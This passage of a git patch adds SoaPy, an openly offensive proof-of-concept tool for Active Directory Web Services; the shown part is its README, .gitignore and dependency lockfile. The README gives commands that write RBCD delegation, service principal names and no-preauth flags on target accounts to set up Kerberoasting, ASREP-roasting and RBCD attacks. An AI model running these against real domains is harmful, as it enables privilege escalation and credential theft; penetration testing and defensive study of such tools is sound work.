From 2669dcb67ab692441f437e527ea61a943ca041b6 Mon Sep 17 00:00:00 2001 From: shellph1sh Date: Fri, 21 Feb 2025 09:29:52 -0600 Subject: [PATCH] Initial push --- .gitignore | 162 +++++++ README.md | 95 ++++ poetry.lock | 753 +++++++++++++++++++++++++++++ pyproject.toml | 44 ++ src/__init__.py | 7 + src/adws.py | 757 ++++++++++++++++++++++++++++++ src/encoder/__init__.py | 4 + src/encoder/encoder.py | 123 +++++ src/encoder/records/__init__.py | 5 + src/encoder/records/attributes.py | 307 ++++++++++++ src/encoder/records/constants.py | 550 ++++++++++++++++++++++ src/encoder/records/datatypes.py | 108 +++++ src/encoder/records/elements.py | 198 ++++++++ src/encoder/records/record.py | 208 ++++++++ src/encoder/records/text.py | 606 ++++++++++++++++++++++++ src/encoder/records/utils.py | 141 ++++++ src/encoder/xml_parser.py | 392 ++++++++++++++++ src/ms_nmf.py | 531 +++++++++++++++++++++ src/ms_nns.py | 434 +++++++++++++++++ src/soa.py | 557 ++++++++++++++++++++++ src/soap_templates.py | 104 ++++ tests/__init__.py | 0 tests/test_datatypes.py | 78 +++ tests/test_nmf.py | 166 +++++++ tests/test_records.py | 124 +++++ tests/test_xmlparser.py | 102 ++++ 26 files changed, 6556 insertions(+) create mode 100644 .gitignore create mode 100644 README.md create mode 100644 poetry.lock create mode 100644 pyproject.toml create mode 100644 src/__init__.py create mode 100644 src/adws.py create mode 100644 src/encoder/__init__.py create mode 100644 src/encoder/encoder.py create mode 100644 src/encoder/records/__init__.py create mode 100644 src/encoder/records/attributes.py create mode 100644 src/encoder/records/constants.py create mode 100644 src/encoder/records/datatypes.py create mode 100644 src/encoder/records/elements.py create mode 100644 src/encoder/records/record.py create mode 100644 src/encoder/records/text.py create mode 100644 src/encoder/records/utils.py create mode 100644 src/encoder/xml_parser.py create mode 100644 src/ms_nmf.py create mode 100644 src/ms_nns.py create mode 100644 src/soa.py create mode 100644 src/soap_templates.py create mode 100644 tests/__init__.py create mode 100644 tests/test_datatypes.py create mode 100644 tests/test_nmf.py create mode 100644 tests/test_records.py create mode 100644 tests/test_xmlparser.py diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..efa407c --- /dev/null +++ b/.gitignore @@ -0,0 +1,162 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/latest/usage/project/#working-with-version-control +.pdm.toml +.pdm-python +.pdm-build/ + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..b4fa900 --- /dev/null +++ b/README.md @@ -0,0 +1,95 @@ +# Description +SoaPy is a Proof of Concept (PoC) tool for conducting offensive interaction with Active Directory Web Services (ADWS) from Linux hosts. SoaPy includes previously undeveloped custom python implementations of a collection of Microsoft protocols required for interaction with the ADWS service. This includes but is not limited to: NNS (.NET NegotiateStream Protocol), NMF (.NET Message Framing Protocol), and NBFSE (.NET Binary Format: SOAP Extension). + + +SoaPy can be primarily utilized to interact with ADWS for stealthy enumeration over a proxy into an internal Active Directory environment. Additionally SoaPy can perform targeted exploitation over ADWS, including `servicePrincipalName` writing for targeted Kerberoasting, `DON’T_REQ_PREAUTH` writing for targeted ASREP-Roasting, and the ability to write to `msDs-AllowedToActOnBehalfOfOtherIdentity` for Resource-Based Constrained Delegation attacks. + + + +# Usage + +``` + +███████╗ ██████╗ █████╗ ██████╗ ██╗ ██╗ +██╔════╝██╔═══██╗██╔══██╗██╔══██╗╚██╗ ██╔╝ +███████╗██║ ██║███████║██████╔╝ ╚████╔╝ +╚════██║██║ ██║██╔══██║██╔═══╝ ╚██╔╝ +███████║╚██████╔╝██║ ██║██║ ██║ +╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ + +usage: soapy [-h] [--debug] [--ts] [--hash nthash] [--users] [--computers] [--groups] [--constrained] [--unconstrained] [--spns] [--asreproastable] [--admins] [--rbcds] + [-q query] [--filter attr,attr,...] [--rbcd source] [--spn value] [--asrep] [--account account] [--remove] + connection + +Enumerate and write LDAP objects over ADWS using the SOAP protocol + +positional arguments: + connection domain/username[:password]@ + +options: + -h, --help show this help message and exit + --debug Turn DEBUG output ON + --ts Adds timestamp to every logging output. + --hash nthash Use an NT hash for authentication + +Enumeration: + --users Enumerate user objects + --computers Enumerate computer objects + --groups Enumerate group objects + --constrained Enumerate objects with the msDS-AllowedToDelegateTo attribute set + --unconstrained Enumerate objects with the TRUSTED_FOR_DELEGATION flag set + --spns Enumerate accounts with the servicePrincipalName attribute set + --asreproastable Enumerate accounts with the DONT_REQ_PREAUTH flag set + --admins Enumerate high privilege accounts + --rbcds Enumerate accounts with msDs-AllowedToActOnBehalfOfOtherIdentity set + -q query, --query query + Raw query to execute on the target + --filter attr,attr,... + Attributes to select from the objects returned, in a comma seperated list + +Writing: + --rbcd source Operation to write or remove RBCD. Also used to pass in the source computer account used for the attack. + --spn value Operation to write the servicePrincipalName attribute value, writes by default unless "--remove" is specified + --asrep Operation to write the DONT_REQ_PREAUTH (0x400000) userAccountControl flag on a target object + --account account Account to preform an operation on + --remove Operarion to remove an attribute value based off an operation + +``` +# Installation +With `pipx`: +``` +pipx install . +``` + + +With `poetry`: +``` +poetry install +``` + +# Example Usage + +Enumerate users using preset enumeration flags: +``` +soapy /:''@ --users +``` + +Enumerate computers `samAccountName` and `objectSid` using a custom query/attribute filtering: +``` +soapy /:''@ --query '(objectClass=computer)' --filter "samaccountname,objectsid" +``` + +Write `msDs-AllowedToActOnBehalfOfOtherIdentity` on DC01, enabling delegation from MS01 for an RBCD attack: +``` +soapy /:''@ --rbcd 'MS01$' --account 'DC01$' +``` + +Write the `servicePrincipalName` attribute on jdoe as part of a targeted Kerberoasting attack: +``` +soapy /:''@ --spn test/spn --account jdoe +``` + +Write `DONT_REQ_PREAUTH` (0x400000) on jdoe's `userAccountControl` attribute, making the account ASREP-Roastable: +``` +soapy /:''@ --asrep --account jdoe +``` diff --git a/poetry.lock b/poetry.lock new file mode 100644 index 0000000..8d68f68 --- /dev/null +++ b/poetry.lock @@ -0,0 +1,753 @@ +# This file is automatically @generated by Poetry 1.8.3 and should not be changed by hand. + +[[package]] +name = "attrs" +version = "24.2.0" +description = "Classes Without Boilerplate" +optional = false +python-versions = ">=3.7" +files = [ + {file = "attrs-24.2.0-py3-none-any.whl", hash = "sha256:81921eb96de3191c8258c199618104dd27ac608d9366f5e35d011eae1867ede2"}, + {file = "attrs-24.2.0.tar.gz", hash = "sha256:5cfb1b9148b5b086569baec03f20d7b6bf3bcacc9a42bebf87ffaaca362f6346"}, +] + +[package.extras] +benchmark = ["cloudpickle", "hypothesis", "mypy (>=1.11.1)", "pympler", "pytest (>=4.3.0)", "pytest-codspeed", "pytest-mypy-plugins", "pytest-xdist[psutil]"] +cov = ["cloudpickle", "coverage[toml] (>=5.3)", "hypothesis", "mypy (>=1.11.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] +dev = ["cloudpickle", "hypothesis", "mypy (>=1.11.1)", "pre-commit", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] +docs = ["cogapp", "furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier (<24.7)"] +tests = ["cloudpickle", "hypothesis", "mypy (>=1.11.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] +tests-mypy = ["mypy (>=1.11.1)", "pytest-mypy-plugins"] + +[[package]] +name = "blinker" +version = "1.9.0" +description = "Fast, simple object-to-object and broadcast signaling" +optional = false +python-versions = ">=3.9" +files = [ + {file = "blinker-1.9.0-py3-none-any.whl", hash = "sha256:ba0efaa9080b619ff2f3459d1d500c57bddea4a6b424b60a91141db6fd2f08bc"}, + {file = "blinker-1.9.0.tar.gz", hash = "sha256:b4ce2265a7abece45e7cc896e98dbebe6cead56bcf805a3d23136d145f5445bf"}, +] + +[[package]] +name = "cffi" +version = "1.17.1" +description = "Foreign Function Interface for Python calling C code." +optional = false +python-versions = ">=3.8" +files = [ + {file = "cffi-1.17.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:df8b1c11f177bc2313ec4b2d46baec87a5f3e71fc8b45dab2ee7cae86d9aba14"}, + {file = "cffi-1.17.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8f2cdc858323644ab277e9bb925ad72ae0e67f69e804f4898c070998d50b1a67"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:edae79245293e15384b51f88b00613ba9f7198016a5948b5dddf4917d4d26382"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45398b671ac6d70e67da8e4224a065cec6a93541bb7aebe1b198a61b58c7b702"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ad9413ccdeda48c5afdae7e4fa2192157e991ff761e7ab8fdd8926f40b160cc3"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5da5719280082ac6bd9aa7becb3938dc9f9cbd57fac7d2871717b1feb0902ab6"}, + {file = "cffi-1.17.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bb1a08b8008b281856e5971307cc386a8e9c5b625ac297e853d36da6efe9c17"}, + {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:045d61c734659cc045141be4bae381a41d89b741f795af1dd018bfb532fd0df8"}, + {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:6883e737d7d9e4899a8a695e00ec36bd4e5e4f18fabe0aca0efe0a4b44cdb13e"}, + {file = "cffi-1.17.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6b8b4a92e1c65048ff98cfe1f735ef8f1ceb72e3d5f0c25fdb12087a23da22be"}, + {file = "cffi-1.17.1-cp310-cp310-win32.whl", hash = "sha256:c9c3d058ebabb74db66e431095118094d06abf53284d9c81f27300d0e0d8bc7c"}, + {file = "cffi-1.17.1-cp310-cp310-win_amd64.whl", hash = "sha256:0f048dcf80db46f0098ccac01132761580d28e28bc0f78ae0d58048063317e15"}, + {file = "cffi-1.17.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a45e3c6913c5b87b3ff120dcdc03f6131fa0065027d0ed7ee6190736a74cd401"}, + {file = "cffi-1.17.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:30c5e0cb5ae493c04c8b42916e52ca38079f1b235c2f8ae5f4527b963c401caf"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f75c7ab1f9e4aca5414ed4d8e5c0e303a34f4421f8a0d47a4d019ceff0ab6af4"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a1ed2dd2972641495a3ec98445e09766f077aee98a1c896dcb4ad0d303628e41"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:46bf43160c1a35f7ec506d254e5c890f3c03648a4dbac12d624e4490a7046cd1"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a24ed04c8ffd54b0729c07cee15a81d964e6fee0e3d4d342a27b020d22959dc6"}, + {file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:610faea79c43e44c71e1ec53a554553fa22321b65fae24889706c0a84d4ad86d"}, + {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a9b15d491f3ad5d692e11f6b71f7857e7835eb677955c00cc0aefcd0669adaf6"}, + {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:de2ea4b5833625383e464549fec1bc395c1bdeeb5f25c4a3a82b5a8c756ec22f"}, + {file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:fc48c783f9c87e60831201f2cce7f3b2e4846bf4d8728eabe54d60700b318a0b"}, + {file = "cffi-1.17.1-cp311-cp311-win32.whl", hash = "sha256:85a950a4ac9c359340d5963966e3e0a94a676bd6245a4b55bc43949eee26a655"}, + {file = "cffi-1.17.1-cp311-cp311-win_amd64.whl", hash = "sha256:caaf0640ef5f5517f49bc275eca1406b0ffa6aa184892812030f04c2abf589a0"}, + {file = "cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4"}, + {file = "cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99"}, + {file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93"}, + {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3"}, + {file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4ceb10419a9adf4460ea14cfd6bc43d08701f0835e979bf821052f1805850fe8"}, + {file = "cffi-1.17.1-cp312-cp312-win32.whl", hash = "sha256:a08d7e755f8ed21095a310a693525137cfe756ce62d066e53f502a83dc550f65"}, + {file = "cffi-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:51392eae71afec0d0c8fb1a53b204dbb3bcabcb3c9b807eedf3e1e6ccf2de903"}, + {file = "cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e"}, + {file = "cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4"}, + {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd"}, + {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed"}, + {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9"}, + {file = "cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d"}, + {file = "cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a"}, + {file = "cffi-1.17.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:636062ea65bd0195bc012fea9321aca499c0504409f413dc88af450b57ffd03b"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7eac2ef9b63c79431bc4b25f1cd649d7f061a28808cbc6c47b534bd789ef964"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e221cf152cff04059d011ee126477f0d9588303eb57e88923578ace7baad17f9"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:31000ec67d4221a71bd3f67df918b1f88f676f1c3b535a7eb473255fdc0b83fc"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f17be4345073b0a7b8ea599688f692ac3ef23ce28e5df79c04de519dbc4912c"}, + {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2b1fac190ae3ebfe37b979cc1ce69c81f4e4fe5746bb401dca63a9062cdaf1"}, + {file = "cffi-1.17.1-cp38-cp38-win32.whl", hash = "sha256:7596d6620d3fa590f677e9ee430df2958d2d6d6de2feeae5b20e82c00b76fbf8"}, + {file = "cffi-1.17.1-cp38-cp38-win_amd64.whl", hash = "sha256:78122be759c3f8a014ce010908ae03364d00a1f81ab5c7f4a7a5120607ea56e1"}, + {file = "cffi-1.17.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b2ab587605f4ba0bf81dc0cb08a41bd1c0a5906bd59243d56bad7668a6fc6c16"}, + {file = "cffi-1.17.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:28b16024becceed8c6dfbc75629e27788d8a3f9030691a1dbf9821a128b22c36"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1d599671f396c4723d016dbddb72fe8e0397082b0a77a4fab8028923bec050e8"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca74b8dbe6e8e8263c0ffd60277de77dcee6c837a3d0881d8c1ead7268c9e576"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f7f5baafcc48261359e14bcd6d9bff6d4b28d9103847c9e136694cb0501aef87"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98e3969bcff97cae1b2def8ba499ea3d6f31ddfdb7635374834cf89a1a08ecf0"}, + {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cdf5ce3acdfd1661132f2a9c19cac174758dc2352bfe37d98aa7512c6b7178b3"}, + {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:9755e4345d1ec879e3849e62222a18c7174d65a6a92d5b346b1863912168b595"}, + {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f1e22e8c4419538cb197e4dd60acc919d7696e5ef98ee4da4e01d3f8cfa4cc5a"}, + {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:c03e868a0b3bc35839ba98e74211ed2b05d2119be4e8a0f224fba9384f1fe02e"}, + {file = "cffi-1.17.1-cp39-cp39-win32.whl", hash = "sha256:e31ae45bc2e29f6b2abd0de1cc3b9d5205aa847cafaecb8af1476a609a2f6eb7"}, + {file = "cffi-1.17.1-cp39-cp39-win_amd64.whl", hash = "sha256:d016c76bdd850f3c626af19b0542c9677ba156e4ee4fccfdd7848803533ef662"}, + {file = "cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824"}, +] + +[package.dependencies] +pycparser = "*" + +[[package]] +name = "charset-normalizer" +version = "3.4.0" +description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." +optional = false +python-versions = ">=3.7.0" +files = [ + {file = "charset_normalizer-3.4.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:4f9fc98dad6c2eaa32fc3af1417d95b5e3d08aff968df0cd320066def971f9a6"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0de7b687289d3c1b3e8660d0741874abe7888100efe14bd0f9fd7141bcbda92b"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5ed2e36c3e9b4f21dd9422f6893dec0abf2cca553af509b10cd630f878d3eb99"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:40d3ff7fc90b98c637bda91c89d51264a3dcf210cade3a2c6f838c7268d7a4ca"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1110e22af8ca26b90bd6364fe4c763329b0ebf1ee213ba32b68c73de5752323d"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:86f4e8cca779080f66ff4f191a685ced73d2f72d50216f7112185dc02b90b9b7"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7f683ddc7eedd742e2889d2bfb96d69573fde1d92fcb811979cdb7165bb9c7d3"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:27623ba66c183eca01bf9ff833875b459cad267aeeb044477fedac35e19ba907"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f606a1881d2663630ea5b8ce2efe2111740df4b687bd78b34a8131baa007f79b"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0b309d1747110feb25d7ed6b01afdec269c647d382c857ef4663bbe6ad95a912"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:136815f06a3ae311fae551c3df1f998a1ebd01ddd424aa5603a4336997629e95"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:14215b71a762336254351b00ec720a8e85cada43b987da5a042e4ce3e82bd68e"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:79983512b108e4a164b9c8d34de3992f76d48cadc9554c9e60b43f308988aabe"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-win32.whl", hash = "sha256:c94057af19bc953643a33581844649a7fdab902624d2eb739738a30e2b3e60fc"}, + {file = "charset_normalizer-3.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:55f56e2ebd4e3bc50442fbc0888c9d8c94e4e06a933804e2af3e89e2f9c1c749"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0d99dd8ff461990f12d6e42c7347fd9ab2532fb70e9621ba520f9e8637161d7c"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c57516e58fd17d03ebe67e181a4e4e2ccab1168f8c2976c6a334d4f819fe5944"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6dba5d19c4dfab08e58d5b36304b3f92f3bd5d42c1a3fa37b5ba5cdf6dfcbcee"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bf4475b82be41b07cc5e5ff94810e6a01f276e37c2d55571e3fe175e467a1a1c"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ce031db0408e487fd2775d745ce30a7cd2923667cf3b69d48d219f1d8f5ddeb6"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8ff4e7cdfdb1ab5698e675ca622e72d58a6fa2a8aa58195de0c0061288e6e3ea"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3710a9751938947e6327ea9f3ea6332a09bf0ba0c09cae9cb1f250bd1f1549bc"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:82357d85de703176b5587dbe6ade8ff67f9f69a41c0733cf2425378b49954de5"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47334db71978b23ebcf3c0f9f5ee98b8d65992b65c9c4f2d34c2eaf5bcaf0594"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:8ce7fd6767a1cc5a92a639b391891bf1c268b03ec7e021c7d6d902285259685c"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:f1a2f519ae173b5b6a2c9d5fa3116ce16e48b3462c8b96dfdded11055e3d6365"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:63bc5c4ae26e4bc6be6469943b8253c0fd4e4186c43ad46e713ea61a0ba49129"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:bcb4f8ea87d03bc51ad04add8ceaf9b0f085ac045ab4d74e73bbc2dc033f0236"}, + {file = "charset_normalizer-3.4.0-cp311-cp311-win32.whl", hash = 